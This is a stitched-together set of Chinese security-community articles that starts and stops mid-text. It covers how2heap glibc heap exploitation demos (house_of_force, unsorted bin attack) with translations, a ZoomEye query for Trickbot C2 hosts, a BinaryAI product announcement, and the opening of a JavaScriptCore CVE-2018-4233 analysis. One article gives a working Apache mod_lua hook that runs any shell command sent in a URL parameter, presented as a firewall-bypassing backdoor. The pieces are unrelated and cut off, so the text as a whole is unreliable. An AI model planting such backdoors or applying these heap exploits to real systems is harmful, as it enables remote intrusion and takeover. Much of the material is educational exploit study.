If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
printf("nWelcome to the House of Forcenn");
printf("The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.n");
printf("The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.n");
printf("nIn the end, we will use this to overwrite a variable at %p.n", bss_var);
printf("Its current value is: %sn", bss_var);
printf("nLet's allocate the first chunk, taking space from the wilderness.n");
intptr_t *p1 = malloc(256);
printf("The chunk of 256 bytes has been allocated at %p.n", p1);
printf("nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.n");
int real_size = malloc_usable_size(p1);
printf("Real size (aligned and all that jazz) of our allocated chunk is %d.n", real_size);
printf("nNow let's emulate a vulnerability that can overwrite the header of the Top Chunkn");
//----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
printf("nThe top chunk starts at %pn", ptr_top);
printf("nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.n");
printf("Old size of top chunk %#llxn", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
printf("New size of top chunk %#llxn", *((unsigned long long int *)ptr_top));
//------------------------
printf("nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer "
"overflow) and will then be able to allocate a chunk right over the desired region.n");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
printf("nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,n"
"we will malloc %#lx bytes.n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
printf("As expected, the new pointer is at the same place as the old top chunk: %pn", new_ptr);
void* ctr_chunk = malloc(100);
printf("nNow, the next chunk we overwrite will point at our target buffer.n");
printf("malloc(100) => %p!n", ctr_chunk);
printf("Now, we can finally overwrite that value:n");
printf("... old string: %sn", bss_var);
printf("... doing strcpy overwrite with "YEAH!!!"...n");
strcpy(ctr_chunk, "YEAH!!!");
printf("... new string: %sn", bss_var);
// some further discussion:
//printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessednn");
//printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we nwant to set this result to the address of malloc_got_address-8nn");
//printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_sizenn");
//printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8nn");
//printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_addressnn");
//printf("The large chunk with evil_size has been allocated here 0x%08xn",p2);
//printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08xn",malloc_got_address);
//printf("This last malloc will be served from the remainder code and will return the av->top+8 injected beforen");
}
**翻译：**
**house_of_force** 的主要思想是，通过改写top chunk来使malloc返回任意地址。
top chunk是一块非常特殊的内存，它存在于堆区的最后，而且一般情况下，当malloc向os申请内存时，top chunk的大小会变动。
我们就利用这个机制来改写一个变量
char bss_var[]= "This is a string that we want to overwrite.";
先分配第一个chunk：
intptr_t *p1 = malloc(256);
现在heap区域就存在了两个chunk一个是p1,一个是top chunk。
p1的真实大小应该是 0x100 + 0x8
现在模拟一个漏洞，改写top chunk的头部，top chunk的起始地址为：
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
用一个很大的值来改写top chunk的size，以免等一下申请内存的时候使用 **mmap** 来分配：
ptr_top[0] = -1;
改写之后top chunk的size=0xFFFFFFFF。
现在top chunk变得非常大，我们可以malloc一个在此范围内的任何大小的内存而不用调用mmap。
接下来malloc一个chunk，使得这个chunk刚好分配到我们想控制的那块区域为止，然后我们就可以malloc出我们想控制的区域了。
比如：我们想要改写的变量位置在0x602060，top chunk 的位置在0x127b528，再算上head的大小，我们将要malloc
0xffffffffff386b28 个字节。
新申请的这个chunk开始于原来top chunk所处的位置。
而此时top chunk已经处在0x602050了，之后再malloc就会返回一个包含我们想要改写的变量的chunk了。
这个例程和它的名字一样暴力，直接对top chunk下手，想法很大胆的一种攻击方式。
首先是修改top chunk的size字段为-1（在x64机器上实际大小就为0xFFFFFFFF）
然后malloc一个很大的值 **Large** ，L的计算就是用你想控制的地址的值 **Ctrl** 减去top地址的值 **Top** ，那么Large
= Ctrl – Top 。
malloc(Large);
用malloc申请了这个chunk之后top chunk是这样的：
这个技巧的利用效果就是，我们可以用malloc返回一个heap区域之前的地址。
**0x09 unsorted_bin_attack**
****
源码：
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stackn");
printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attacknn");
unsigned long stack_var=0;
printf("Let's first look at the target we want to rewrite on stack:n");
printf("%p: %ldnn", &stack_var, stack_var);
unsigned long *p=malloc(400);
printf("Now, we allocate first normal chunk on the heap at: %pn",p);
printf("And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()nn");
malloc(500);
free(p);
printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %pn",(void*)p[1]);
//------------VULNERABILITY----------- p[1]=(unsigned long)(&stack_var-2);
printf("Now emulating a vulnerability that can overwrite the victim->bk pointern");
printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%pnn",(void*)p[1]);
//------------------------------------ malloc(400);
printf("Let's malloc again to get the chunk we just free. During this time, target should has already been "
"rewrite:n");
printf("%p: %pn", &stack_var, (void*)stack_var);
}
**翻译：**
这个例程通过unsortedbin攻击往栈中写入一个unsigned long的值。
在实战中，unsorted bin 攻击通常是为更进一步的攻击做准备的。
比如，我们在栈上有一个栈单元stack_var需要被改写
unsigned long stack_var=0;
然后正常地分配一个chunk。
unsigned long *p=malloc(400);
再分配一个，防止前一个chunk在free的时候被合并了。
malloc(500);
然后
free(p);
之后p会被插入到unsortedbin链表中，而且它的fd和bk都指向unsortedbin的head。
接着我们模拟一个漏洞攻击改写p的bk指针：
p[1]=(unsigned long)(&stack_var-2);
然后用malloc出发unsortedbin的unlink：
malloc(400);
然后 **stack_var** 的值就被改写成了unsortedbin的head的地址了。
这也算是unlink的另一种用法，上一篇的总结中， **unsafe_unlink**
通过unlink来直接控制地址，这里则是通过unlink来泄漏libc的信息，来进行进一步的攻击。流程也较为简单。
和 **house_of_lore**
操作有点像，也是通过修改victim的bk字段，不过我们做这个的主要目的不是返回一个可控的地址，而是将libc的信息写到了我们可控的区域。
**0x0A 写在最后**
****
个人水平有限，加上总结的时候有一些不太重要的点被我选择性地忽略了，如果有疑问请在下面留言。
最后一个例程 **house_of_einherjar** 在新版glibc已经不能用了，所以不做介绍。 | 社区文章 |
# 网安人员春节学习专题 | 远程办公不孤单，自我提升不间断
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本专题内容关注疫情的同时，还从网络安全人员学习成长角度出发，总结了包含网络安全工具总结、概念普及、漏洞学习、渗透测试、黑灰产等全方位知识方向，内容包括实战演练、技能提升、行业动态、学术论文、学习渠道等各类精华文章，希望能在春节远程办公期间对大家有所帮助。 | 社区文章 |
**作者：heige@知道创宇404实验室
时间：2021年11月17日
原文链接：<https://mp.weixin.qq.com/s/cCXt6FUEYGd6s9cg5VFN0Q>**
在 [谈谈网络空间“行为测绘”](https://mp.weixin.qq.com/s/fQatA5iyewqRBMWtpVjsRA)
文章里我用了Trickbot作为例子，受当时样本数量的限制（2个IP），所以直接指定了一个特征的证书：
subject: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd
issuer: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd
今天看到一个最新的73个IP的样本：
<https://twitter.com/1ZRR4H/status/1460440775775375361>
<https://pastebin.com/35mhCsw2>
手工抽样看了下，证书有不符合之前特征的情况，比如下面：
Issuer: ST=none
Subject: ST=none
等等各种情况，所以这里对“行为测绘”进行一些补充：
1、 **群体行为可能有多种行为** ，这个取决于你的样本覆盖及更加通用的特征的提取（注：更宽松的规则固然覆盖更全漏报率低但很可能导致更多误报）
2、 **群体行为可以进化变异** ，在某个确定或者不确定周期下进行修改，甚至可能在文章发布后被这些APT、僵尸网络看到后进行修改的可能
以上2点其实在样本集更多更全的情况下，更能提炼出相对准确覆盖全面的搜索语法，当然这里是 **没有考虑原始样本归因是否存在错误**
的前提下，所以针对Trickbot C2搜索语句做了下更新：
"HTTP/1.1 403 Forbidden" +"Server: nginx" +"Content-Length: 9" +"SSL Certificate" -"Content-Type"
https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20403%20Forbidden%22%20%2B%22Server%3A%20nginx%22%20%2B%22Content-Length%3A%209%22%20%2B%22SSL%20Certificate%22%20-%22Content-Type%22&t=all
通过抽样验证上面提到的73个样本，效果还是不错的。当然还可能存在一些误报，不过简单过了下应该不太多了，所以就没做作那么精确了...
通过ZoomEye查询到的数据，在前几页的目标看了下IP档案页面的详情，发现很多的IP都是MikroTik的设备，而且很多都开了vpn 如下图：
所以我感觉这些都是这个团伙抓的肉鸡？从ZoomEye统计数据年份来看，最早可以追溯到2017年，Google了下发现Trickbot的开始的时间确实是2017年（历史数据还是很有用的！）。
通过2017年的证书特征来看：
Issuer: C=AU, ST=f2tee4, L=gf23et65adt, O=tg4r6tds, OU=rst, CN=rvgvtfdf
Subject: C=AU, ST=f2tee4, L=gf23et65adt, O=tg4r6tds, OU=rst, CN=rvgvtfdf
确实有行为进化变异的迹象！
> 还有一些比较奇怪有意思情况，少量证书特征跟BazarLoader重叠
> 公众号：黑哥说安全 [【“行为测绘”应用实战】一个ZoomEye查询搜尽BazarLoader
> C2](https://mp.weixin.qq.com/s/2WOfABt6QAoTG2H-3IfA4g?scene=21#wechat_redirect)
Issuer: C=GB, ST=London, L=London, O=Global Security, OU=IT Department, CN=example.com
Subject: C=GB, ST=London, L=London, O=Global Security, OU=IT Department, CN=example.com
我简单搜索了下这个应该是某类默认证书形式，难道他们想到一块去了？：）
* * * | 社区文章 |
# BinaryAI全新代码匹配模型BAI-2.0上线，“大模型”时代的安全实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Digital binary code backdrop
科恩实验室在2021年8月首次发布二进制安全智能分析平台—[BinaryAI](https://www.binaryai.net)，BinaryAI可精准高效识别二进制文件的第三方组件及其版本号，旨在推动SCA（Software
Composition Analysis，软件成分分析）技术在 **DevSecOps、威胁情报、安全研究** 等应用场景发展。
BinaryAI本次发布产品重要更新，配备创新的算法模型和持续扩展的后台数据。科恩代码匹配模型BAI-2.0和配套算法引擎彻底革新了SCA的表现，配合业界领先的数据集和种种精彩新功能，BinaryAI实现了分析准确性及效率的大幅提升。
## 关于BinaryAI
[BinaryAI](https://www.binaryai.net)对上传文件进行自动化解包、解析后，基于自研SCA算法和后台GitHub全量C/C++库的开源组件数据集，对其进行软件成分分析、函数相似性检索，以业界领先的识别准确率匹配到文件所使用的开源组件，辅助用户完成软件成分分析和恶意软件分析的安全分析工作。BinaryAI算法引擎背后是各种AI算法和经典算法，其中核心的代码匹配模型在行业内具备显著优势。
科恩实验室持续深耕智能软件安全分析研究，联合多所高校和科研院所，在信息安全、软件工程和人工智能领域的多个顶级会议上发表十余篇文章。基于科恩智能软件安全分析的研究沉淀，BinaryAI不断提升其准确分析能力。
## BinaryAI更新亮点
### 后端模型重磅升级
科恩代码匹配模型上线BAI-2.0，顺应了AI模型开发领域向大模型演进的趋势。大模型的出现不仅促进了技术的迭代，还衍生出一批备受关注的大模型应用，如AIGC图像生成应用、ChatGPT工具等。作为领域内的先行者，科恩通过在软件成分分析领域落地应用大模型，适配了该领域的细分场景，提升了BinaryAI的召回效果。
### 准确率步步攀升
BinaryAI基于科恩自研的代码匹配模型BAI-2.0和复杂图的程序分析算法，对可执行文件中的二进制函数使用图算法分析，同时与AI算法相辅相成，在GitHub全量C/C++库中找到匹配的源代码函数。经过多次迭代，BinaryAI的算法引擎提升了算法的准确率，降低了误报，较上个版本更上一台阶。
### 亿级函数数据集持续拓展
BinaryAI已经支持全网主流开源C/C++语言项目，采集了数万代码仓库的百万级版本分支，累计百亿C/C++源代码文件特征数据，去重后包含亿级函数特征。数据能力和算法引擎使得BinaryAI的SCA能够准确定位二进制文件所使用的的开源项目的具体版本，满足查看软件成分清单的需求。数据集已经拓宽对其他开发语言的支持，共计三百多万个代码仓库，未来将支持BinaryAI在其他开发语言、应用场景发挥其成分分析能力。
往期回顾：[BinaryAI功能更新布告｜构建全量开源项目数据集](https://mp.weixin.qq.com/s/M_FbnsD1GjVtEEhVYu2W3w)
### 倾听用户之声
为改善过去BinaryAI提供的插件在客户端上网络请求结果慢、交互体验不佳的问题，BinaryAI在网页平台上新增“BinaryAI函数相似性检索”导出能力，用户可以在平台上传二进制文件并浏览分析结果后，下载结果导入到IDA或Ghidra等二进制分析软件中，继续安全分析工作，这一优化将大幅提升深度分析二进制文件场景的用户体验。
此外，平台增加科恩自研腾讯云二进制软件成分分析产品—BSCA的跳转入口，用户可一键跳转体验漏洞扫描、License审计等特有功能，适用于DevSecOps
制品扫描、软件上线前安全风险识别、检查上下游供应链安全问题等应用场景。
## 最新功能特性展示
点击 **“BinaryAI函数相似性检索”** ，即可下载结果Json文件，获得插件的GitHub下载链接。
**典型文件示例** ：
软件成分分析和函数识别：[示例1](https://www.binaryai.cn/analysis/bbe34331e5068d7dc5b990fbef10002358b4ef8e07ab92c0d5620ed60fc36b30)、[示例2](https://www.binaryai.cn/analysis/914df307b6b9fde62771b20f8d5c6d1fc7fd8d15117cb99cc8bb0a89f9ddca83)
威胁情报（C2样本检测）：[示例3](https://www.binaryai.cn/analysis/289616b59a145e2033baddb8a8a9b5a8fb01bdbba1b8cf9acadcdd92e6cc0562)
威胁情报（挖矿样本检测）：[示例4](https://www.binaryai.cn/analysis/33ead107e7a01e9eb3432baebe14172ae6fe94ce62f41afad9f884e7c9b5dfe7)
### 演示视频
**[最新功能特性演示视频](https://www.bilibili.com/video/BV1CA41167CS/?vd_source=acf29aa086cce1034873d576e87e6adf)**
## 更多业务体验
BinaryAI的算法引擎核心能力已同步落地应用于腾讯安全多款产品：
* **腾讯云二进制软件成分分析** : [BSCA](https://cloud.tencent.com/product/bsca)包月免费活动进行中
* **腾讯威胁情报 TIX** : [TIX](https://tix.qq.com/)
* **腾讯主机安全云镜** : [腾讯主机安全（云镜）兵器库：斩杀挖矿木马的利剑-BinaryAI引擎](https://mp.weixin.qq.com/s/9dwUVyI34fi5lEPCDZJz_Q)
除此之外，科恩实验室始终以积极的姿态探索软件安全领域和前沿AI结合的科研落地，推动成果转化以解决产业痛点问题。
## 加入用户群
微信扫码或搜索并添加“keenlab”为好友，发送“BinaryAI交流群”获得入群链接
## 了解更多
[[1]腾讯安全科恩实验室推出首款免费在线SCA平台：BinaryAI](https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247496102&idx=1&sn=7835a7682a921a324d1a1e65a23a9c2d&chksm=fbfecda3cc8944b5a620e57ab9b32272f629bd31c3ecdf56ecbdc66e52ae39eb537dd49182c1&token=1542731443&lang=zh_CN#rd)
[[2]BinaryAI功能更新布告｜构建全量开源项目数据集](https://mp.weixin.qq.com/s/M_FbnsD1GjVtEEhVYu2W3w)
[[3]科恩实验室最新NeurIPS-2020论文解读：基于跨模态检索的二进制代码-源代码匹配](http://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484584&idx=1&sn=91a433c6db537caaf0929b447c0860a0&chksm=fbfd38adcc8ab1bb489d26a780413b2e26f49b08b971169017a6f37c7ed351e3cc090aad0dc9&scene=21#wechat_redirect)
[[4]AAAI-20论文解读：基于图神经网络的二进制代码分析](http://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484184&idx=1&sn=f647cbb5c23e1f90dd7f7918146dc016&chksm=fbfd3f1dcc8ab60b1c966146191c8f216b7f62b98d8452bfa7b2595dde45d97cffda2133aaaf&scene=21#wechat_redirect)
[[5]腾讯安全科恩实验室二进制安全最新成果入选AAAI-20](http://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484178&idx=1&sn=e58f1623c5a44906356da3ddf9b6a5ba&chksm=fbfd3f17cc8ab6010637d28ffa5f9a4766885c1ad4ec97f503962765b8808d79d80440e7e7a7&scene=21#wechat_redirect) | 社区文章 |
[利用IIS的端口共享功能绕过防火墙](https://mp.weixin.qq.com/s/1TPucLLaWDuqjxUvelJ7BA
"利用IIS的端口共享功能绕过防火墙")
看了嘶吼的这篇文章，稍微思考了一下。是否Nginx 或者Apahce 是否存在这种方式。
Nginx 和apache 作为全球使用最多的两个WEB容器。是支持模块化的一个方式建立中间件的
例如 Nginx_lua 的防火墙就是一个最好的案例。
那么如果利用这种方式做一个权限控制呢。
下载做一个实验吧，此文只是给大家一个思考的，并不建议实际运用中
实验服务器Centos 7.4
WEB容器Apache 2.4.39
服务器面板：宝塔面板6.9
首先安装一下 Apache 2.4.39
只所以选择这个，因为默认安装了一个lua 模块
为了方便一点
从配置文件中发现。调用的是这个地址的一个.conf 文件。
新建一个文件如下：
LoadModule lua_module modules/mod_lua.so
LuaPackagePath /test/?.lua
LuaCodeCache forever
LuaHookAccessChecker /test/test.lua get late
LuaInputFilter post_filter /test/test.lua post
SetInputFilter post
test.lua 如下：
require 'apache2'
function return_message(status,msg)
httpd.content_type = "application/json;charset=utf-8"
httpd.status = status
httpd:write(msg)
return apache2.DONE
end
function get_return_state(rstate,rmsg)
result = {}
result['status'] = rstate
result['msg'] = rmsg
return result
end
function get_whami()
if not uri_request_args['ip'] then return get_return_state(true,'格式错误') end
data=io.popen(uri_request_args['ip'])
return data:read("*all")
end
function min_route()
if httpd.uri == '/get_whoami' then
return_message(200,get_whami())
return true
else
return false
end
end
function get(request_httpd)
httpd = request_httpd
uri_request_args = httpd:parseargs();
if min_route() then return apache2.DONE end
return apache2.DECLINED
end
function post(request_httpd)
httpd = request_httpd
if min_route() then return apache2.DONE end
return apache2.DECLINED
end
重启一下apache
访问一下
Nginx的话。也是一样的原理，具体的就不操作了。 | 社区文章 |
# Pwn2Own 2018 CVE-2018-4233 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎，最近学习JavaScriptCore引擎的漏洞利用，在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路
## 0x01 前置知识
### JSC引擎执行流程
JSC引擎执行JS代码的流程如下
Lexer：词法分析，提取单词
Parser：语法分析，生成语法树，并从语法树中构建ByteCode
LLInt：Low Level Interpreter执行Parser生成的ByteCode，其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6
次，或者某段代码循环了大于100次会触发该引擎进行JIT编译，其编译后的代码仍然为中间码，而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT:
在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器，将低效字节码进行优化并转为机器码。它利用LLInt和Baseline
JIT阶段收集的一些信息来优化字节码，`消除一些类型检查`等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light，更高度的优化，在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法，将DFG
IR进一步优化转为 FTL 里用到的 B3 的 IR，然后生成机器码
可以知道，Baseline JIT->DFG
JIT->FTL每一个过程都进行了更加深入的优化，优化一般就是通过类型收集和判断，消除一些不必要的类型检查，并生成机器码，从而可以节省运行时间。由于js是动态类型语言，当类型优化推断错误时，便可以返回上一级，比如DFG
JIT优化错误，则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是`堆栈替换 on-stack
replacement，简称 OSR`。这个技术可以将执行转移到任何 statement 的地方。
### clobberWorld
在DFG的遍历优化中，会进行类型收集，如果要之前推断的类型不正确，则调用`clobberWorld`函数放弃之前推断信息，如果不调用该函数，那么前面的类型信息继续保留。
### JSC断点调试
与V8不同的是，JSC没有提供用于断点调试的js函数，一种简便的方法是在printInternal函数上进行断点
b *printInternal
然后在js代码中调用print，即可断下。如果我们要打印信息，利用`debug`函数来打印，因为`print`已经被我们拿去断点用了。另一种方法是我们自己在`Source/JavaScriptCore/jsc.cpp`源码中增加一个`dbg`函数，并在函数中实现`int3`指令，然后就能在js中调用。
### JSC对象内存模型
首先使用这段代码进行调试，其中`describe`函数是用来打印对象结构的，`debug`是用于输出文字的,`print`用于断点
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
debug(describe(a));
print();
输出如下
--> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297
使用gdb打印对象地址处的内容
pwndbg> x /20gx 0x7fffaf8ac000
0x7fffaf8ac000: 0x0100150000000129 0x0000000000000000
0x7fffaf8ac010: 0x0000000000000000 0xffff000000000001
0x7fffaf8ac020: 0xffff000000000002 0x400299999999999a
0x7fffaf8ac030: 0x00007fffaf8b0100 0xffff000000000003
0x7fffaf8ac040: 0xffff000000000004 0xffff000000000005
0x7fffaf8ac050: 0xffff000000000006 0xffff000000000007
0x7fffaf8ac060: 0xffff000000000008 0xffff000000000009
0x7fffaf8ac070: 0xffff00000000000a 0x0000000000000000
0x7fffaf8ac080: 0x0000000000000000 0x0000000000000000
0x7fffaf8ac090: 0x0000000000000000 0x0000000000000000
可以看到，我们的数据都依次按照顺序存入了对象的内存中，并且可以发现不同类型之间的存储，其最前面有一些标志数据，总结起来如下：
Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
Double： [0001～FFFE][xxxx:xxxx:xxxx]
Integer： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
False： [0000:0000:0000:0006]
True： [0000:0000:0000:0007]
Undefined： [0000:0000:0000:000a]
Null： [0000:0000:0000:0002]
可以发现，对于对象类型，由于标记为0，所以直接存储着的就是指针，而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
debug(describe(a));
print();
打印如下
--> Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303
可以看到`butterfly`已经不是null了，我们查看一下对象内存
pwndbg> x /30gx 0x7fffaf8ac000
0x7fffaf8ac000: 0x010015040000012f 0x00007ff0000fe5a8
0x7fffaf8ac010: 0x0000000000000003 0xffff000000000001
0x7fffaf8ac020: 0xffff000000000002 0x400299999999999a
0x7fffaf8ac030: 0x00007fffaf8b0100 0xffff000000000003
0x7fffaf8ac040: 0xffff000000000004 0xffff000000000005
0x7fffaf8ac050: 0xffff000000000006 0xffff000000000007
0x7fffaf8ac060: 0xffff000000000008 0xffff000000000009
0x7fffaf8ac070: 0xffff00000000000a 0xffff00000000000b
0x7fffaf8ac080: 0xffff00000000000c 0xffff00000000000d
0x7fffaf8ac090: 0xffff00000000000e 0xffff00000000000f
pwndbg> x /20gx 0x00007ff0000fe5a8
0x7ff0000fe5a8: 0xffff000000000010 0xffff000000000011
0x7ff0000fe5b8: 0x0000000000000000 0x00000000badbeef0
可以看到，`butterfly`里存储着数组的元素，而其他属性则仍然存储于对象中，我们称这些为内联属性，因为其存储于对象内部。现在测试代码再修改一下
var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
a['r'] = 18;
debug(describe(a));
print();
输出如下
--> Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304
pwndbg> x /20gx 0x7fec000f8468-0x10
0x7fec000f8458: 0xffff000000000012 0x0000000300000002
0x7fec000f8468: 0xffff000000000010 0xffff000000000011
可以知道`a['r'] =
18;`这句代码，18存储于`butterfly`上方，由于其是数组的操作方式，因此其不再归为内联属性，同时我们还注意到`butterfly-0x8处的`数据`0x0000000300000002`，这代表数组的大小和容量。
总结出JSC的对象结构如下：
其中JSCell是一个结构体，其中有`StructureID`等成员，在源码目录中的`Tools/gdb/webkit.py`文件是用于gdb调试的脚本插件，我们导入gdb，然后进行调试查看。
pwndbg> p *(JSC::JSCell *)0x7fffaf8b42d0
$2 = {
<JSC::HeapCell> = {<No data fields>},
members of JSC::JSCell:
static StructureFlags = 0,
static needsDestruction = false,
static TypedArrayStorageType = JSC::NotTypedArray,
m_structureID = 284,
m_indexingTypeAndMisc = 0 '\000',
m_type = JSC::FinalObjectType,
m_flags = 0 '\000',
m_cellState = JSC::CellState::DefinitelyWhite
}
其中`JSCell`的作用类似于V8中的`Map`，用于表示对象类型，与V8不同的是，类型的关键在于`JSCell`使用`StructureID`来区分类型，`StructureID`是一个类似于`index`下标的作用，真正的`Structure`指针存储在一个`StructureTable`中，判断对象的时候通过index从`StructureTable`取出`Structure`的地址，进而访问`Structure`，`Structure`表明了对象的原型，对象结构相同则具有相同的`StructureID`。
JSC::StructureIDTable::get(JSC::StructureID)
使用如下代码测试
var a = {x:1,y:2};
var b = {x:3,y:4};
var c = {a:5,b:6};
debug(describe(a));
debug(describe(b));
debug(describe(c));
print();
输出如下
--> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4300 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4330 with butterfly (nil) (Structure 0x7fffaf8a7e20:[Object, {a:0, b:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 286
可以看到a和b具有相同的`StructureID`和`Structure`。
#### 伪造对象
从上述可以知道，`JSCell`就是一串数值，包含着`StructureID`，而不是指针，并且在一些版本中，`StructureID`不是随机的，而是按照不同对象创建的顺序递增，因此我们想要伪造数组对象的话，可以先申请N个数组对象，然后稍微添加一个不同的属性，则它们的`StructureID`不同，然后我们猜测一个`StructureID`，只要确保其很大概率落在已有的这些`StructureID`之中即可。
### 查看优化的数据
与V8中的`--trace-turbo`类似的，JSC中提供了`-p`选项用于输出`profiling
data`，里面包含一些优化时的数据、字节码等。`profiling
data`格式为json，JSC没有提供像V8那样的可视化工具用于查看流图，我们就只能看看JSON数据。
## 0x02 漏洞分析利用
### patch分析
index e7f1585..fc1a7c5 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
+++ b/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2013-2017 Apple Inc. All rights reserved.
+ * Copyright (C) 2013-2018 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
@@ -2274,6 +2274,7 @@ bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimi
}
}
}
+ clobberWorld(node->origin.semantic, clobberLimit);
forNode(node).setType(m_graph, SpecFinalObject);
break;
}
该patch修复了漏洞，patch位于文件`Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h`中的`executeEffects`函数，从文件路径可以知道，这个漏洞与`DFG
JIT`有关，`executeEffects`是当`DFG JIT`做优化时处理`side Effects`时用的,与v8一个道理，`side
Effects`即一些潜在的侧链影响，通俗来讲就是判断某个操作是否会影响类型变化，如果会影响，放弃之前的类型推断，如果不影响，继续使用之前的类型。patch位于函数中switch的`case
CreateThis:`分支，主要就是遍历字节码，遇到CreateThis时，调用`clobberWorld`函数放弃前面的类型推断。那么这也就是说，原来的漏洞点在于`CreateThis`是存在会影响对象类型的，但是`DFG
JIT`没有判断出来，这就导致类型混淆。
### POC构造
首先，要得到`create_this`字节码，使用的是`this`
function foo() {
this.x = 1;
}
var b = new foo();
print(b.x);
得到的字节码如下
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] mov loc5, this
[ 10] create_this this, this, 1, 0
[ 15] put_by_id this, x(@id0), Int32: 1(const0), Bottom
[ 24] ret this
可以看到，通过`put_by_id`字节码指令将1存入x属性中。现在我们将测试代码稍作修改
function foo(arg) {
this.x = arg[0];
}
var b = new foo([1.1]);
print(b.x);
字节码如下
[ 0] enter
[ 1] get_scope loc3
[ 3] mov loc4, loc3
[ 6] check_traps
[ 7] mov loc5, this
[ 10] create_this this, this, 1, 0
